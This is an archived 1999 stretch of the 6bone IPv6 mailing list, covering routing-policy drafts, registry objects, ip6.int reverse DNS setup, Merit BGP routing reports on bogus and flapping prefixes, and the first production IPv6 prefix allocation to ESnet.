My motiviation for this statement was from a best-practices point of view,
rather than a technically-in-order-to-work point of view, so relaxing this
si viable. Good comment.



->  < 4. Routing Policies
->
->
->3) About multi-homing. As you mentioned the current agreed IPng
->WG procedures, is limiting to /24 and /28 a requirement that
->comes from IPng WG? Or, is it expressing that 6bone doesn't
->accept any other solutions which may require even a little bit
->relaxed rules?


I can and have put some verbiage in version 01.txt for this document to
relax this, to say that we will operate within current aggregation policy
constraints, but that we may change this should it become necessary to test
the feasibility of multi-homing solutions. However, I think it very
important to operate in the aggregation scheme now, as what people are doing
on the 6bone now is NOT a viable solution, but a fundamental break in v6
routing, in order to get around a problem. 
->
->I personally agree to pursue solutions that conform to this
->routing policy, but I think that the discussion/deployment is
->still on-going in IPng WG. I'd like to clarify the position of
->6bone.
->
->Thanks,
->Masaki 
->


From 6bone-owner  Fri Jul 30 17:26:54 1999
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Date: Sat, 31 Jul 1999 10:26:39 +1000
From: Dancer <dancer@zeor.simegen.com>
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To: Xavier <xavier@euro.net>
CC: 6bone@ISI.EDU
Subject: Re: mntnr object?
References: <Pine.GSO.4.10.9907301241410.27524-100000@caolila>
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Relax, it's okay. The message is telling you that someone's been
notified to do the approval.
Since I don't see any other errors offhand, you should get an email back
later telling you it's been approved.

D


Xavier wrote:
> 
> FYI,
> 
> Does somebody help me on this problem?!
> 
> ---
> Date: Thu, 29 Jul 1999 01:10:48 -0600
> From: 6BONE Database Management <auto-dbm-mgr@radb.ip.qwest.net>
> To: Xavier <xavier@euro.net>
> Subject: FAILURE: LONGACK
> 
> Part of your update FAILED
> 
> >   From:    Xavier <xavier@euro.net>
> >   Subject: LONGACK
> >   Date:    Thu, 29 Jul 1999 09:10:36 +0200 (MET DST)
> >   Msg-Id:  <Pine.GSO.4.10.9907290905390.641-100000@caolila>
> 
> For help see <http://www.ripe.net/db/> or
> include 'help' in the subject line of your message
> 
> Objects without errors have been processed.
> 
> New FAILED: [mntner] MNT-EURONET
> 
> mntner:       MNT-EURONET
> descr:        Maintainer of EURONET-BE 6bone registry objects
> admin-c:      XM1-RIPE
> upd-to:       ip6-operator@ipv6.euronet.be
> mnt-nfy:      ip6-operator@ipv6.euronet.be
> auth:         NONE
> mnt-by:       MNT-EURONET
> changed:      xavier@ipv6.euronet.be 19990729
> source:       6BONE
> *ERROR*:      'mntner' objects cannot be created automatically
> *ERROR*:      This object has been forwarded to
> <auto-dbm-mgr@radb.ip.qwest.net>
> *ERROR*:      for authorisation.
> *ERROR*:      No further action from your part is required
> 
> --
> Xavier Mertens,                 *  *     EuroNet Internet
> Network Operation Center     *      *    a subsidiary of France Telecom
> XM3-RIPE                   *

From 6bone-owner  Sat Jul 31 06:09:37 1999
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Date: Sat, 31 Jul 1999 15:09:20 +0200 (MET DST)
From: Xavier <xavier@euro.net>
X-Sender: xavier@caolila
To: Keith Owens <kaos@ocs.com.au>
cc: 6bone@ISI.EDU
Subject: Re: Reverse mapping? 
In-Reply-To: <19990730145139.10865.qmail@mail.ocs.com.au>
Message-ID: <Pine.GSO.4.10.9907311507250.18000-100000@caolila>
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On Sat, 31 Jul 1999, Keith Owens wrote:

> Date: Sat, 31 Jul 1999 00:51:36 +1000
> From: Keith Owens <kaos@ocs.com.au>
> To: Xavier <xavier@euro.net>
> Cc: 6bone@ISI.EDU
> Subject: Re: Reverse mapping? 
> 
> On Fri, 30 Jul 1999 14:21:38 +0200 (MET DST), 
> Xavier <xavier@euro.net> wrote:
> >Someone has good tips, urls about reverse mapping for IPv6 adresses?
> 
> Nothing difficult.  Get a version of BIND that understands IPv6
> addresses, release 4 has security holes but any release 8 BIND
> understands AAAA records.  My /etc/named.conf contains
> 
> zone "6.0.0.0.0.0.9.0.e.f.f.3.ip6.int" {
>         type master;
>         file "db.3ffe.0900.0006";
> };

[stuff deleted]

> ;
> ; Host addresses
> ;
> router-6        IN      AAAA    3ffe:900:6::6
> 
> To help writing out those long reverse addresses, try
> ftp://ftp.ocs.com.au/pub/ip6_int.gz.
> 
> ip6_int 3ffe:900:6::6/48 gives 6.0.0.0.0.0.9.0.e.f.f.3.ip6.int
> ip6_int 3ffe:900:6::6/-48 gives what is left after removing the first
> 48 bits, 6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0

Hi Keyth,

Thanks for your help!

I download your tool and configured my bind.
But where do I register that I'm master for the zone 
'0.0.2.0.1.0.5.2.e.f.f.3.ip6.int' (We have 3ffe:2501:200/48)

X

--
Xavier Mertens,                 .  .     EuroNet Internet
Network Operation Center     .      *    a subsidiary of France Telecom
XM3-RIPE XM1-6BONE         .


From 6bone-owner  Sat Jul 31 14:05:34 1999
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: Reverse mapping?
To: xavier@euro.net (Xavier)
Date: Sat, 31 Jul 1999 14:04:18 -0700 (PDT)
Cc: kaos@ocs.com.au (Keith Owens), 6bone@ISI.EDU
In-Reply-To: <Pine.GSO.4.10.9907311507250.18000-100000@caolila> from "Xavier" at Jul 31, 1999 03:09:20 PM
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> But where do I register that I'm master for the zone 
> '0.0.2.0.1.0.5.2.e.f.f.3.ip6.int' (We have 3ffe:2501:200/48)
> 
> X
> 
> --
> Xavier Mertens,                 .  .     EuroNet Internet

Thats easy.  Where did you get your delegation?  They will provide
you the cut point to be master for the delegation they made to you.


--bill

From 6bone-owner  Sat Jul 31 17:04:45 1999
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Date: Sat, 31 Jul 1999 17:04:09 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new 6bone pTLA 3FFE:8040::/28 assigned to APAN-KR
Cc: Bill Manning <bmanning@ISI.EDU>, Woohyong Choi <whchoi@cosmos.kaist.ac.kr>,
        ksbn@kt.co.kr
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Per the review of APAN-KR's request for a pTLA which ended on 30 July, I
have assigned pTLA 3FFE:8040::/28 to APAN-KR. See:

<http://www.ip.qwest.net/~david/cgi-bin/whois?apan-kr>

<http://www.6bone.net/6bone_pTLA_list.html>


Bob

From 6bone-owner  Tue Aug  3 10:38:35 1999
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Subject: Re: Bad routes update
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	<199908030628.CAA22524@zounds.merit.net>
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Date: Tue, 03 Aug 1999 13:38:30 -0400
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I recently updated our routing report. Let me explain some on
this since it's intended to help hardening efforts on 6bone.

1) I added availability in most routes. For example, the route is
seen in total 6 hours a day, the availability will be 25%. If
there is a path that's availability is close to 100% but some of
alternative paths are flapping, it probably would be OK in terms
of the stability of the prefix.

2) I added a check of AS numbers. 

<< Reserved, Private, or Invalid AS Numbers:
<< Format: AS-Path (Bad-AS-Numbers -- Availability)
<< --------------------------------
<<   7610 1849 1103 65502 (65502 -- 100%)
<<   7610 1849 786 1103 65502 2839 5609 1225 237 2500 2500 2500 109 4608 (65502 -- 42%)

3) This check may be too restrictive (if the sites are intended
   to do so.)

<< Prefixes from Different Origin AS:
<< Format: Prefix path AS-Path (Origin-AS -- Availability)
<< --------------------------------
<<   AMS-IX (3ffe:3000::/24) path 1225 1849 1890 (NLNET -- 42%)
<<   AMS-IX (3ffe:3000::/24) path 2839 5623 (ATT-LABS-EUROPE -- 99%)
<<   VIAGENIE (3ffe:b00::/24) path 10566 (VIAGENIE -- 100%)
<<  VIAGENIE (3ffe:b00::/24) path 7081 293 6509 ( -- 46%)

Basically, our report follows the 6bone routing RFC and the new
hardening draft being discussed here.

--
Masaki

>> From: owner-6bone-routing-report@merit.edu
>> Subject: 08/02/99 6Bone Routing Report
>> Date: Tue, 3 Aug 1999 02:28:34 -0400 (EDT)
>> Message-ID: <199908030628.CAA22524@zounds.merit.net>
>>
>> Subject: 08/02/99 6Bone Routing Report
>> From: owner-6bone-routing-report@merit.edu
>> To: 6bone-routing-report@merit.edu
>> Date: Tue, 3 Aug 1999 02:28:34 -0400 (EDT)
>> 
>> See http://www.merit.edu/ipma for a more detailed report on routing 
>> problems and recommendations on ways service providers can limit the 
>> spread of invalid routing information.
>> Send comments and questions to ipma-support@merit.edu
>> 
>> To unsubscribe from this list, send mail to 
>>     6bone-routing-report-request@merit.edu.
>> A hypermail archive is available at
>>     http://www.merit.net/mail.archives/html/6bone-routing-report/
>> 
>> Also see http://www.caida.org for more information about Internet 
>> statistics collection research efforts.
>> 
>> ---------------------------------------------
>> This report is for 08/02/99, peering with
>>   VIAGENIE (AS10566)  CISCO (AS109)  IDIR (AS11264)  CICNET (AS1225)  WIDE (AS2500)  SICS (AS2839)  TELEBIT (AS3263)  ETRI (AS3559)  CERNET (AS4538)  EWD-3COM (AS561)  MSR-REDMOND (AS5761)  UUNET-US (AS704)  CAIRN (AS7081)  NUS-IRDU (AS7610)
>> ---------------------------------------------
>> 
>> Size of 6Bone Routing Table:
>> 	Max = 202, Min = 53, Average = 201
>> 	74 Unique Autonomous System (AS) numbers
>> 
>> BGP4+ Traffic Summary:  
>> 	Announcements = 235874    Withdraws = 15683   Unique Routes = 92
>> 
>> Reserved, Private, or Invalid AS Numbers:
>> Format: AS-Path (Bad-AS-Numbers -- Availability)
>> --------------------------------
>>   7610 1849 1103 65502 (65502 -- 100%)
>>   7610 1849 786 1103 65502 2839 5609 1225 237 2500 2500 2500 109 4608 (65502 -- 42%)
>> 
>> Non-6Bone Prefixes (outside of 3ffe::/16):
>> Format: Prefix path AS-Path (Origin-AS -- Availability)
>> --------------------------------
>>   0000::/0 path 1225 33 109 237 5761 (MSR-REDMOND -- 0%)
>>   1000::/3 path 1225 33 109 237 5761 (MSR-REDMOND -- 0%)
>>   2010::/16 path 5761 (MSR-REDMOND -- 100%)
>> 
>> Poorly Aggregated Prefixes (>24 in 3ffe:0000::/17 or >28 in 3ffe:8000::/17):
>> Format: Prefix path AS-Path (Origin-AS -- Availability)
>> --------------------------------
>>   STUBA (3ffe:2200::/24) had 7 route(s)
>>     3ffe:2280:4:2::/64 path 109 3462 3263 2852 (CESNET -- 97%)
>>     3ffe:2280:4:3::/64 path 109 3462 3263 2852 (CESNET -- 97%)
>>     3ffe:2200:0:8007::/64 path 109 3462 3263 2852 (CESNET -- 97%)
>>     3ffe:2280:4:5::/64 path 109 3462 3263 2852 (CESNET -- 97%)
>>     3ffe:2280:4:6::/64 path 109 3462 3263 2852 (CESNET -- 97%)
>>     3ffe:2280:4:601::/64 path 109 3462 3263 2852 (CESNET -- 97%)
>>     3ffe:2280:3::/48 path 2839 1849 786 5623 222 ( -- 99%)
>>     3ffe:2280:3::/48 path 7610 1849 1103 65502 ( -- 57%)
>> 
>>   CICNET (3ffe:900::/24) had 3 route(s)
>>     3ffe:900:1::/48 path 1225 1312 (LORE/VT -- 100%)
>>     3ffe:900:2::/48 path 1225 3899 (CHICO -- 100%)
>>     3ffe:902::/32 path 1225 8664 (ICM-PL -- 99%)
>> 
>>   SMS (3ffe:2600::/24) had 3 route(s)
>>     3ffe:2610:2::/48 path 2839 3274 8432 (TF-INET-DEV -- 97%)
>>     3ffe:2610:5::/48 path 2839 3274 5469 (AHLSTROM -- 97%)
>>     3ffe:2620::/32 path 2839 1741 (FUNET/OTOL -- 79%)
>> 
>>   UUNET-UK (3ffe:1100::/24) had 2 route(s)
>>     3ffe:1108:40a::/48 path 1225 4556 5539 (SPACENET-DE -- 100%)
>>     3ffe:1108:1400::/40 path 704 (UUNET-US -- 100%)
>> 
>>   SWITCH (3ffe:2000::/24) had 2 route(s)
>>     3ffe:202a:1::/64 path 10566 1930 559 1836 (SIMULTAN -- 99%)
>>     3ffe:2024:1::/48 path 10566 1930 559 1205 (TK-LINZ/JKU-LINZ -- 99%)
>> 
>>   GRNET (3ffe:2d00::/24) had 2 route(s)
>>     3ffe:2d00:3::/48 path 1225 48 1752 5408 8643 (UOA -- 95%)
>>     3ffe:2d00:2::/48 path 1225 48 1752 5408 3323 (NTUA -- 99%)
>> 
>>   SPRINT (3ffe:2900::/24) had 1 route(s)
>>     3ffe:2900:5::/48 path 1225 1312 (LORE/VT -- 100%)
>> 
>>   SICS (3ffe:200::/24) had 1 route(s)
>>     3ffe:200:2::/48 path 7610 1849 1103 65502 ( -- 57%)
>> 
>>   JANET (3ffe:2100::/24) had 1 route(s)
>>     3ffe:2100:1:17::/64 path 1225 1275 (JOIN -- 99%)
>> 
>>   VBNS (3ffe:2800::/24) had 1 route(s)
>>     3ffe:2802::/32 path 1225 1312 (LORE/VT -- 100%)
>> 
>>   JOIN (3ffe:400::/24) had 1 route(s)
>>     3ffe:400:1c0::/48 path 1225 48 8319 (REGIO-DE -- 99%)
>> 
>>   NTT-ECL (3ffe:1800::/24) had 1 route(s)
>>     3ffe:1810::/64 path 1225 1849 5623 1103 2839 224 4697 (NTT-ECL -- 57%)
>> 
>>   ATT-LABS-EUROPE (3ffe:1d00::/24) had 1 route(s)
>>     3ffe:1d01:3::/48 path 2839 1849 786 1103 222 ( -- 99%)
>>     3ffe:1d01:3::/48 path 7610 1849 1103 65502 ( -- 57%)
>> 
>>   UNI-C (3ffe:1400::/24) had 1 route(s)
>>     3ffe:1402:1:1::/64 path 1225 1849 5539 1273 (ECRC -- 99%)
>> 
>>   NRL (3ffe:f00::/24) had 1 route(s)
>>     3ffe:f00:2::/48 path 1225 48 11261 (ASCI -- 100%)
>> 
>>   INR (3ffe:2400::/24) had 1 route(s)
>>     3ffe:2401::/32 path 109 2895 2118 (STC-IPNG -- 95%)
>> 
>>   CISCO (3ffe:c00::/24) had 1 route(s)
>>     3ffe:c00:800f::/48 path 7610 1849 786 1103 65502 2839 5609 1225 237 2500 2500 2500 109 4608 (APNIC -- 42%)
>> 
>> Prefixes from Different Origin AS:
>> Format: Prefix path AS-Path (Origin-AS -- Availability)
>> --------------------------------
>>   AMS-IX (3ffe:3000::/24) path 1225 1849 1890 (NLNET -- 42%)
>>   AMS-IX (3ffe:3000::/24) path 2839 5623 (ATT-LABS-EUROPE -- 99%)
>>   VIAGENIE (3ffe:b00::/24) path 10566 (VIAGENIE -- 100%)
>>   VIAGENIE (3ffe:b00::/24) path 7081 293 6509 ( -- 46%)
>> 
>> The Top Five Most Active Prefixes:
>> Format: AS-Path (Announce/Withdraw -- Availability)
>> ----------------------------------
>> 1. ANSNET (3ffe:d00::/24) had 37100 BGP+ updates (78 unique aspaths)
>>   2839 5609 1673 (28051/15 -- 94%)
>>   7610 1849 33 5609 1673 (5/1 -- 72%)
>>   1225 5609 1673 (547/1 -- 47%)
>>   109 1225 5609 1673 (539/0 -- 47%)
>>   10566 561 5609 1673 (1421/22 -- 46%)
>>   109 4556 5609 1673 (537/2 -- 45%)
>>   1225 4556 5609 1673 (539/1 -- 45%)
>>   7081 6175 1849 145 293 1673 (1/0 -- 31%)
>>   561 6175 4556 5609 1673 (765/4 -- 30%)
>>   5761 6175 4556 5609 1673 (293/258 -- 25%)
>>   7081 293 33 5609 1673 (2/0 -- 21%)
>>   ...Truncated...
>> 
>> 2. EWD-3COM (3ffe:1900::/24) had 8209 BGP+ updates (14 unique aspaths)
>>   561 (1483/0 -- 100%)
>>   10566 561 (15/2 -- 99%)
>>   1225 5609 561 (18/1 -- 99%)
>>   7081 6175 561 (14/0 -- 83%)
>>   5761 6175 561 (1464/1421 -- 79%)
>>   2839 5609 561 (576/1 -- 67%)
>>   109 6175 561 (81/72 -- 61%)
>>   7610 1849 6175 561 (1482/1464 -- 44%)
>>   2500 2500 2500 109 6175 561 (29/29 -- 0%)
>>   2500 2500 2500 33 5609 561 (16/16 -- 0%)
>>   2839 3274 6175 561 (3/0 -- 0%)
>>   ...Truncated...
>> 
>> 3. BAY (3ffe:1300::/24) had 8187 BGP+ updates (27 unique aspaths)
>>   10566 6175 10318 (2958/0 -- 99%)
>>   1225 6175 10318 (17/0 -- 99%)
>>   561 6175 10318 (1479/0 -- 99%)
>>   109 33 10318 (14/0 -- 99%)
>>   5761 6175 10318 (19/1 -- 99%)
>>   7081 145 10318 (2881/0 -- 95%)
>>   7610 1849 33 10318 (11/1 -- 95%)
>>   2839 1849 6175 10318 (51/0 -- 46%)
>>   2839 1849 33 10318 (456/0 -- 42%)
>>   2839 5609 33 10318 (75/0 -- 10%)
>>   7081 6175 10318 (85/0 -- 4%)
>>   ...Truncated...
>> 
>> 4. STUBA (3ffe:2200::/24) had 8116 BGP+ updates (13 unique aspaths)
>>   109 6175 1849 2607 (8/0 -- 100%)
>>   1225 6175 1849 2607 (13/0 -- 100%)
>>   561 6175 1849 2607 (1483/0 -- 100%)
>>   7081 6175 1849 2607 (2956/0 -- 100%)
>>   10566 6175 1849 2607 (2958/0 -- 100%)
>>   5761 6175 1849 2607 (16/1 -- 99%)
>>   2839 1849 786 1103 2607 (554/0 -- 99%)
>>   7610 1849 1103 1835 2607 (0/0 -- 57%)
>>   7610 1849 786 1103 2607 (9/0 -- 42%)
>>   2500 2500 2500 109 6175 1849 2607 (38/38 -- 1%)
>>   2500 2500 2500 33 1849 786 1103 2607 (13/12 -- 0%)
>>   ...Truncated...
>> 
>> 5. SMS (3ffe:2600::/24) had 5331 BGP+ updates (11 unique aspaths)
>>   7081 6175 3274 (714/55 -- 100%)
>>   10566 6175 3274 (1411/5 -- 100%)
>>   7610 1849 6175 3274 (9/0 -- 100%)
>>   109 6175 3274 (8/0 -- 100%)
>>   1225 1103 3274 (13/0 -- 100%)
>>   561 6175 3274 (1483/0 -- 100%)
>>   5761 6175 3274 (19/1 -- 99%)
>>   2839 3274 (702/5 -- 96%)
>>   2839 1103 3274 (182/6 -- 3%)
>>   2500 2500 2500 109 6175 3274 (38/38 -- 1%)
>>   2500 2500 2500 33 1849 6175 3274 (10/9 -- 0%)
>> 

From 6bone-owner  Tue Aug  3 11:26:04 1999
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To: sumikawa@ebina.hitachi.co.jp
Cc: 6bone@ISI.EDU, heermann@ISI.EDU, ipma-support@merit.edu
Subject: Re: 07/01/99 6Bone Routing Report
In-Reply-To: <19990724162846Y.sumikawa@ebina.hitachi.co.jp>
References: <19990719104152B.masaki@merit.edu>
	<19990719130526B.masaki@merit.edu>
	<19990724162846Y.sumikawa@ebina.hitachi.co.jp>
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>> I think It was occured by 'NLRI-Length attribute' probles with
>> CISCO(AS 109). CISCO have announced and received routes without
>> NLRI_length suddenly, so CISCO mis-recognizes our routes and announce
>> them to other pTLA. And frequently termination the BGP connection
>> cause route flapping.

I've thought that the version difference just causes immediate
BGP session closing since the code should check the packet
format.  If this happens, I think that we'd better stop using the
old version as soon as possible. When I proposed this a long time
ago, it was too early. But, now should we make a schedule to
forget the obsolete BGP4+ version?

Masaki

>> From: SUMIKAWA Munechika ($B3Q@n=!6a(B) <sumikawa@ebina.hitachi.co.jp>
>> Subject: Re: 07/01/99 6Bone Routing Report
>> Date: Sat, 24 Jul 1999 16:28:46 +0900 (JST)
>> Message-ID: <19990724162846Y.sumikawa@ebina.hitachi.co.jp>
>>
>> Sorry for delay resoponse. I needed a week for investigation the
>> problem.
>> 
>> masaki> BTW, there are also similar flapping routes that look from WIDE
>> masaki> Project and contribute great increase of IPv6 traffic on 6bone.
>> 
>> masaki>   0000::/0 path 109 2500 2500 2500 2500 2500 (WIDE)
>> masaki>   1800::/4 path 109 2500 2500 2500 2500 2500 (WIDE)
>> masaki> 1.  (0000::/0) had 93371 BGP+ updates (18 unique aspaths)
>> masaki> 2.  (1800::/4) had 87912 BGP+ updates (16 unique aspaths)
>> 
>> I think It was occured by 'NLRI-Length attribute' probles with
>> CISCO(AS 109). CISCO have announced and received routes without
>> NLRI_length suddenly, so CISCO mis-recognizes our routes and announce
>> them to other pTLA. And frequently termination the BGP connection
>> cause route flapping.
>> 
>> Now I changed my router configuration, it seems that no curious routes
>> annouce to 6bone.
>> 
>> Thanks,
>> 
>> ---
>> Munechika SUMIKAWA @ WIDE Project

From 6bone-owner  Tue Aug  3 11:44:54 1999
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To: 6bone@ISI.EDU
Cc: heermann@ISI.EDU, ipma-support@merit.edu
Subject: Re: 07/01/99 6Bone Routing Report
In-Reply-To: <19990719130526B.masaki@merit.edu>
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	<19990719104152B.masaki@merit.edu>
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We are still seeing these bogus routes.

  0000::/0 path 1225 33 109 237 5761 (MSR-REDMOND -- 0%)
  1000::/3 path 1225 33 109 237 5761 (MSR-REDMOND -- 0%)

Dorian Kim at as 1225 tried to catch them, but they are flapping
too rapidly. However, I found that CSELT also detected this on
their router according to their routing page.

I did an experiment to modify a route 2010::/16 originated from
5761. BGP attribute of the routes 0000::/0 and 1000::/3 followed
the change. There is another supporting fact. CAIRN was also
originating 2010::/16 before, and the same bogus routes from
CAIRN were also seen. After stopping 2010::/16 from CAIRN, the
bogus routes from CAIRN went away.  I'm sure that these bogus
routes never pass through AS 237 (Merit).

I have no idea about fixing these routes for the time being.  If
you are on or close to the above path, and find something that
might to be related to this, please report it.

BTW, I also tried to attach BGP community to the route
(2010::/16).  However, the route having traveled through 6bone
back to us didn't have BGP community. BGP community is optional
transitive, so an intermediate router may not know it but must
pass it to next.  Chris Heermann suggested me to use BGP
community to help 6bone routing, but it seems it's not possible
for the time being.

Masaki

>> From: Masaki Hirabaru <masaki@merit.edu>
>> Subject: Re: 07/01/99 6Bone Routing Report
>> Date: Mon, 19 Jul 1999 13:05:26 -0400
>> Message-ID: <19990719130526B.masaki@merit.edu>
>>
>> Hi. 6bone folks,
>> 
>> This issue looks like a matter local to some sites, but I'm
>> bringing up this because I'm not sure where it's generated.
>> 
>> Merit has been receiving 1000::/3 and 0000::/0 since July 1st.
>> They are out of the 6bone prefix, so they should not be. But, the
>> problem I want to say is not such a thing. I don't want to solve
>> this just by filtering out them. (Merit doesn't accept such a
>> route with an as path loop, anyway.)
>> 
>> The AS path of them is "1225 33 109 237 7081", where 7081 -
>> CAIRN, 237 - Merit, 109 - CISCO, 33 - DEC-CA, 1225 - CICNET.
>> 
>> As long as I checked over the BGP session logs that record all
>> BGP packets received here, Merit (AS 237) didn't have the routes
>> from CAIRN (AS 7081). According to our routing daemon's internal
>> log, it didn't announce the routes to CISCO (AS 109). However, it
>> received the routes as if they were originated from CAIRN through
>> Merit.
>> 
>> Moreover, this routes are flapping. They are only alive for a
>> second. Withdrawals follow right after the announcements that
>> happen once every 10 or 20 minutes.
>> 
>> This doesn't seem to cause something wrong for now, but I'd let
>> you know what's being seen.
>> 
>> BTW, there are also similar flapping routes that look from WIDE
>> Project and contribute great increase of IPv6 traffic on 6bone.
>> 
>>   0000::/0 path 109 2500 2500 2500 2500 2500 (WIDE)
>>   1800::/4 path 109 2500 2500 2500 2500 2500 (WIDE)
>> 1.  (0000::/0) had 93371 BGP+ updates (18 unique aspaths)
>> 2.  (1800::/4) had 87912 BGP+ updates (16 unique aspaths)
>> 
>> Thanks,
>> Masaki
>> 
>> >> From: Masaki Hirabaru <masaki@merit.edu>
>> >> Subject: Re: 07/01/99 6Bone Routing Report
>> >> Date: Mon, 19 Jul 1999 10:41:52 -0400
>> >> Message-ID: <19990719104152B.masaki@merit.edu>
>> >>
>> >> I restarted about 45 hours ago, but the same thing is happening.
>> >> I'm going to bring up this issue to 6bone mailing-list. -- Masaki
>> >> 
>> >> >> From: Chris Heermann <heermann@EAST.ISI.EDU>
>> >> >> Subject: Re: 07/01/99 6Bone Routing Report
>> >> >> Date: Mon, 19 Jul 1999 10:27:11 -0400 (EDT)
>> >> >> Message-ID: <Pine.GSO.4.00.9907191000590.29470-100000@ale.east.isi.edu>
>> >> >>
>> >> >> 
>> >> >> Hi Masaki,
>> >> >> 
>> >> >> I hope I'm not being a pain, but I wanted to ping you about restarting
>> >> >> your BGP session with AS 1225 (cicnet). Can you please tell me how this
>> >> >> goes?
>> >> >> 
>> >> >> thanks,
>> >> >> Chris
>> >> >> 
>> >> >> On Sun, 4 Jul 1999, Masaki Hirabaru wrote:
>> >> >> 
>> >> >> > Hi. Chris,
>> >> >> > 
>> >> >> > I searched 1000::/3 in our dump data on July 1st. I couldn't find
>> >> >> > the beginning of announcements of 1000::/3. If you announced the
>> >> >> > route on that day, it should be recorded on this router with as
>> >> >> > path "237 7081".
>> >> >> > 
>> >> >> > Currently, we don't have 1000::/3 in our routing table, but AS
>> >> >> > 1225 (cicnet) says it comes through us (originated by CAIRN).
>> >> >> > According to MRTd's internal status, our router has never
>> >> >> > announced 1000::/3 to AS 109 (cisco) since the BGP session
>> >> >> > started 51 hours ago with cisco. 1000::/3 is flapping and I
>> >> >> > suspect something wrong along with the path.
>> >> >> > 
>> >> >> > Since July 1st, 1000::/3 has been announced as this and kept
>> >> >> > flapping. MRTd doesn't accept (but record) this announcement,
>> >> >> > because it detects a loop in the as path.
>> >> >> > 
>> >> >> > I could remove this by restarting a BGP session with cisco and/or
>> >> >> > cicnet, but I'll do that after I'm back from my vacation.
>> >> >> > 
>> >> >> > Masaki
>> >> >> > 
>> >> >> > [this is the first part of announcements of 1000::/3]
>> >> >> > BGP4+|07/01/99 12:04:49|A|3ffe:900:0:3::1|1225|1000::/3|1225 33 109 237 7081|IGP
>> >> >> > BGP4+|07/01/99 12:04:50|W|3ffe:900:0:3::1|1225|1000::/3
>> >> >> > BGP4+|07/01/99 12:06:24|A|3ffe:900:0:3::1|1225|1000::/3|1225 33 109 237 7081|IGP
>> >> >> > BGP4+|07/01/99 12:06:25|W|3ffe:900:0:3::1|1225|1000::/3
>> >> >> > BGP4+|07/01/99 12:17:27|A|3ffe:900:0:3::1|1225|1000::/3|1225 33 109 237 7081|IGP
>> >> >> > BGP4+|07/01/99 12:17:28|W|3ffe:900:0:3::1|1225|1000::/3
>> >> >> > BGP4+|07/01/99 12:26:30|A|3ffe:900:0:3::1|1225|1000::/3|1225 33 109 237 7081|IGP
>> >> >> > BGP4+|07/01/99 12:26:31|W|3ffe:900:0:3::1|1225|1000::/3
>> >> >> > BGP4+|07/01/99 12:27:09|W|3ffe:900:0:3::1|1225|1000::/3
>> >> >> > BGP4+|07/01/99 12:27:12|W|3ffe:900:0:3::1|1225|1000::/3
>> >> >> > BGP4+|07/01/99 12:40:45|A|3ffe:900:0:3::1|1225|1000::/3|1225 33 109 237 7081|IGP
>> >> >> > BGP4+|07/01/99 12:40:46|W|3ffe:900:0:3::1|1225|1000::/3
>> >> >> > [continues]
>> >> >> > 
>> >> >> > >> From: Craig Labovitz <labovit@HOME.MERIT.EDU>
>> >> >> > >> Subject: Re: 07/01/99 6Bone Routing Report
>> >> >> > >> Date: Fri, 02 Jul 1999 10:11:00 -0400
>> >> >> > >> Message-ID: <3.0.6.32.19990702101100.007d8240@HOME.MERIT.EDU>
>> >> >> > >>
>> >> >> > >> >Delivered-To: ipma-support@merit.edu
>> >> >> > >> >Date: Fri, 2 Jul 1999 09:24:21 -0400 (EDT)
>> >> >> > >> >From: Chris Heermann <heermann@EAST.ISI.EDU>
>> >> >> > >> >To: ipma-support@merit.edu
>> >> >> > >> >Cc: Chris Heermann <heermann@EAST.ISI.EDU>
>> >> >> > >> >Subject: Re: 07/01/99 6Bone Routing Report
>> >> >> > >> >
>> >> >> > >> >
>> >> >> > >> >Yesterday's report shows CAIRN advertising 0000::/0 and 1000::/3.
>> >> >> > >> >Apparently, we adertised to AS237, I think that's you/MERIT, and it came
>> >> >> > >> >back to you from AS1225. I have no clue as to how we advertised those two 
>> >> >> > >> >prefixes. Unless there was a momentary window when someone was
>> >> >> > >> >experimenting and got creative.
>> >> >> > >> >
>> >> >> > >> >Can you please provide me with the time this event occurred and any other
>> >> >> > >> >helpful details. thanks, Chris
>> >> >> > >> >
>> >> >> > >> >
>> >> >> > >> >> Non-6Bone Prefixes (outside of 3ffe::/16):
>> >> >> > >> >> --------------------------------
>> >> >> > >> >>   0000::/0 path 1225 33 109 237 7081 (CAIRN)  
>> >> >> > >> >>   1000::/3 path 1225 33 109 237 7081 (CAIRN)
>> >> >> > >> >
>> >> >> > >> >
>> >> >> > >> >
>> >> >> > >> >
>> >> >> > >> >
>> >> >> > >> 
>> >> >> > >> -------------------------
>> >> >> > >> Craig Labovitz					(734) 764-0252 voice
>> >> >> > >> Merit Network, Inc.				labovit@merit.edu
>> >> >> > >> 4251 Plymouth Road			
>> >> >> > >> Ann Arbor, MI 48105
>> >> >> > 

From 6bone-owner  Tue Aug  3 17:27:17 1999
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        ipma-support@merit.edu
Subject: Re: 07/01/99 6Bone Routing Report
From: Akira Kato <kato@wide.ad.jp>
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> ago, it was too early. But, now should we make a schedule to
> forget the obsolete BGP4+ version?

Hirabaru san,

Good point. Do you or does anybody have information on which
version/date of Cisco IOS for IPv6 speaks what revision of BGP4+ ?

-- Akira Kato

From 6bone-owner  Fri Aug  6 13:01:24 1999
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Date: Fri, 06 Aug 1999 13:01:12 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: first production IPv6 prefix allocated by ARIN to ESnet
  (2001:0400::/35)
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IPv6 community,

Good news! The first production IPv6 prefix has been assigned by ARIN to
ESnet (2001:0400::/35).

This is a milestone for IPv6. Those networks that had previously requested
sTLAs should now reapply to their respective registries (APNIC, ARIN and
RIPE-NCC) for them. I have already been getting requests from these
registries for validation that requestors qualify under the 6bone bootstrap
policy.

I would like to thank everyone involved over the last 2 1/2 years in the
development of the Aggregatable Global Unicast Address Format and the
policies regarding their allocation/assignment. I've included a short
history and timeline of this effort below.

I would especially like to commend the registries, both for their efforts
to provide meaningful stewardship over the IPv6 address space, and for
quickly starting the allocation process after IAB/IANA/RIR agreements on
allocation policy were finalized. So many thanks to the APNIC, ARIN and
RIPE-NCC staff!


Regards,

Bob

===
Fall 1996 - Mike O'Dell 8+8 (aka GSE) proposal to replace Provider Based
Unicast Addressing for IPv6
Feb  1997 - Interim IPng WG meeting in Palo Alto to review 8+8 - some ideas
kept, some discarded
Apr  1997 - IPng WG meeting in Memphis - first idea of Aggregatable Unicast
Addressing formulated
May  1997 - Aggregatable Unicast Addressing draft and 6bone Test TLA draft
released
Oct  1997 - 6bone converts to Aggregatable Unicast Addressing under
3FFE::/16 Test TLA
